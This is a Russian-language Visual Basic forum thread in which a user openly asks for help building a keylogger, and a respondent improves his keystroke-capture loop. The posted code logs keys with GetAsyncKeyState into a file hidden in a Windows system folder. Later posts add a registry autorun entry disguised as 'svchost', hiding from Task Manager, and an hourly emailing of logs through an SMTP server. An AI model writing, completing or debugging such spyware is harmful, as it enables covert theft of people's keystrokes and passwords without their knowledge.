VBNet - Форум - Getasynckeystate

Вопрос: Getasynckeystate Добавлено: 10.05.14 16:56

Автор вопроса: Petr

Добрый день! Как вы понили с название темы программа для захвата клавиш одним словом кейлоггер. Вот часть кода
Private Sub Timer1_Timer()
  keystate = Getasynckeystate(vbKeyA)
  If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "A" + ""
     End If
  keystate = Getasynckeystate(vbKeyB)
  If (keystate And &H1) = &H1 Then
  Text2 = Text2 + "B" + ""
     End If и т.д

Private Sub Timer2_Timer()
Open "C:\WINDOWS\Cursors\test.txt" For Append As #1
Print #1, Text2.Text
Close #1
Text2.Text = ""
End Sub

Он работает но не так как хотелось бы. Во первых когда идет запись текстовому файлу то слова разделены т.е бывает так два или один буква на в верхнем строчке а другая часть в нижнем строчке, не в одну строчку. Во вторых когда нажимаю пробел то текстовом файле словах нету пробела все слитно. И самая главная все буквы пишутся большими строчными буквами хотя я пишу без нажатия шифта да понимаю нужно еще добавит пару кодов. Пожалуйста помогите с дополнительными кодами.
Ответить

Ответы Всего ответов: 6

Номер ответа: 1 Автор ответа: AWP ICQ: 345685652 Вопросов: 96 Ответов: 1212	Web-сайт: xawp.narod.ru Профиль \| \| #1	Добавлено: 10.05.14 18:54
	Getasynckeystate Всегда возвращает uppercase клавишь. нажатие Capslock, Shift и текущую раскладки придется отдельно мониторить. Каждый раз, когда ты обращаешься к Getasynckeystate ты получаешь текущее состояние клавиши. Повторы клавиш из-за того, что не запоминаешь предыдущее состояние. И почемубы не проверять по таблице и писать результат в переменную типа String? Ну это грубо говоря. Public ktlb as String Public oState(255) as byte for n = 65 to 90 if Getasynckeystate(n) then if oState(n)=0 then ktlb = ktlb & chr$(n) end if oState(n)=1 else oState(n)=0 end if next А сохранять open filename for binary as #1 put #1,1,ktlb close #1 Ответить

Номер ответа: 2 Автор ответа: Petr Вопросов: 45 Ответов: 58	Профиль \| \| #2	Добавлено: 15.05.14 20:17
	AWP можно по подробнее для начинающих. Где будут хранится логи? Ответить

Номер ответа: 3 Автор ответа: AWP ICQ: 345685652 Вопросов: 96 Ответов: 1212	Web-сайт: xawp.narod.ru Профиль \| \| #3	Добавлено: 16.05.14 12:39
	Petr filename - вроде как имя файла Ответить

Номер ответа: 4 Автор ответа: Petr Вопросов: 45 Ответов: 58	Профиль \| \| #4	Добавлено: 19.05.14 04:22
	AWP можете врубит аску и там я бы мог задать несколько вопросов пожалуйста. Ответить

Номер ответа: 5 Автор ответа: Petr Вопросов: 45 Ответов: 58	Профиль \| \| #5	Добавлено: 19.05.14 04:28
	И еще один вопрос касающиеся этой темы. Как можно отправить отчет каждый 30 минут или час. Я сам попробовал но почему то не работает этот код: Dim s As Integer Private Sub Form_load() Set x = CreateObject("Wscript.Shell") x.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\svchost", "C:\windows\system\svchost.exe" ' записываем в автозагрузку App.TaskVisible = False ' скрываем в диспетчере задач s = 0 End Sub Sub send_message() Dim o_Mess As Object, v_Conf As String Set o_Mess = CreateObject("CDO.Message") v_Conf = "http://schemas.microsoft.com/cdo/configuration/" With o_Mess .To = "" 'Кому отправить .From = "" 'От кого .Subject = "" 'Тема .TextBody = " " 'Текст With .Configuration.Fields .Item(v_Conf & "sendusing") = 2 .Item(v_Conf & "smtpserver") = "smtp.mail.ru" .Item(v_Conf & "smtpauthenticate") = 1 .Item(v_Conf & "sendusername") = "" 'От кого .Item(v_Conf & "sendpassword") = "" 'Пароль от кого отправляется письмо .Item(v_Conf & "smtpserverport") = 25 .Item(v_Conf & "smtpusessl") = False .Item(v_Conf & "smtpconnectiontimeout") = 60 .Update End With .send End With End Sub Private Sub Timer1_Timer() ' отсчёты приходят каждый час s = s + 1 If s = 60 Then s = 0 Call send_message End If End Sub Ответить

Номер ответа: 6 Автор ответа: AWP ICQ: 345685652 Вопросов: 96 Ответов: 1212	Web-сайт: xawp.narod.ru Профиль \| \| #6	Добавлено: 20.05.14 18:01
	Petr Аську не запускал лет 10. Я не знаю как работает CDO.Message поэтому не могу сказать. А интервал у таймера какой стоит? Ответить

Страница: 1 |